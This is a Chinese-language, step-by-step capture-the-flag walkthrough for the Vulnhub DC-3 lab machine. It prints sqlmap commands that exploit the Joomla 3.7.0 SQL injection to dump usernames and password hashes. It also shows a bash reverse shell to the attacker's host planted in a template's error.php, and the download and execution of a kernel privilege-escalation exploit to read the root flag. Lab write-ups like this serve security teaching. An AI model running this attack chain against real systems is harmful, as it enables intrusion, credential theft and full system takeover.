手把手教通关Vulnhub靶场-DC3靶机

📅 2026/7/15 21:40:23
手把手教通关Vulnhub靶场-DC3靶机
一.靶机下载官方下载https://download.vulnhub.com/dc/DC-3-2.zip网盘下载https://pan.baidu.com/s/1uYy9L12VrioKWaqRHVispQ 提取码: 5kej导入之后要在设置中将其调为NAT模式同时要把IDE这里改成上图这样默认情况我们是不知道靶机的密码的目的是通过kali获取靶机中的flag信息二.靶机信息收集因为靶机与kali处于同一网络状态下使用命令arp-scan -l得到靶机的ip为192.168.194.135使用命令nmap -A 192.168.194.135对靶机进行扫描发现开放了80端口进行访问三.漏洞扫描使用dirsearch扫描一下敏感目录使用命令dirsearch -u http://192.168.194.135发现后台进行访问发现是Joomlakali上有一个专门漏扫工具Joomscan使用命令joomscan --url http://192.168.194.135发现版本是3.7.0查询一下对应的poc使用命令searchsploit joomla 3.7.0发现具有sql注入的poc查看一下poc中需要修改的东西使用命令cat /usr/share/exploitdb/exploits/php/webapps/42033.txt把箭头所指修改为对应的域名并进行访问http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml%27四.sql注入发现sql报错了尝试使用sqlmap进行注入使用命令sqlmap -u http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering] --batch一键梭出所有数据库名接着查看当前数据库名使用命令sqlmap -u http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -p list[fullordering] --current-db --batch确定当前数据库名是joomladb接着梭表名使用命令sqlmap -u http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -p list[fullordering] -D joomladb --tables --batch梭出所有的表名我们优先查看#_users这个表一般账号密码等敏感信息在这个表中所以接着梭这个表的列名使用命令sqlmap -u http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -p list[fullordering] -D joomladb -T #__users --columns这里不要使用--batch因为他的意思是默认默认的话就梭不出来列名需要先输入俩次y然后再输入一次1和一次10才能得到我们想要的列名接着梭一下username和password中的数据使用命令sqlmap -u http://192.168.194.135/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 -p list[fullordering] -D joomladb --tables -T #__users --columns -C username,password --dump --batch直接问ai得到解码结果admin/snoopy使用账号密码登录成功五.反弹shell查看各个功能点的作用发现有一处具有php文件可以进行写入按照下面的步骤即可找到php文件的位置在error.php中写入反弹shell这里的ip是kali的ip要注意使用命令system(bash -c bash -i /dev/tcp/192.168.194.134/1111 01);访问http://192.168.194.135/templates/beez3/error.php之后使用命令nc -lvvp 1111进行连接发现用户的权限比较低于是选择去提权六.提权查看系统的版本号在msf中查找是否有对应版本号的漏洞利用使用命令cat /proc/versioncat /etc/issue使用命令searchsploit ubuntu 16.04我们使用4.4.x通用提权方式查看该方式具体的使用方法使用命令cat /usr/share/exploitdb/exploits/linux/local/39772.txt这里给出俩个下载的链接二选一即可使用命令wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zipunzip 39772.zip接着将exploit.tar文件复制到网站根目录使用命令systemctl restart apache2cp 39772/exploit.tar /var/www/html切换到前文中成功反弹shell连接上靶机的位置使用命令wget http://192.168.194.134/exploit.tar解压文件并进行利用使用命令tar -xvf exploit.tarcd ebpf_mapfd_doubleput_exploit./compile.sh./doubleput使用命令python -c import pty;pty.spawn(/bin/bash)cd /rootcat the-flag.txt成功获取最后的flag如有错误请大佬们指正到这里我们也是成功通关了DC3靶机后续会接着更新DC系列的靶机通关教程请多多关注一下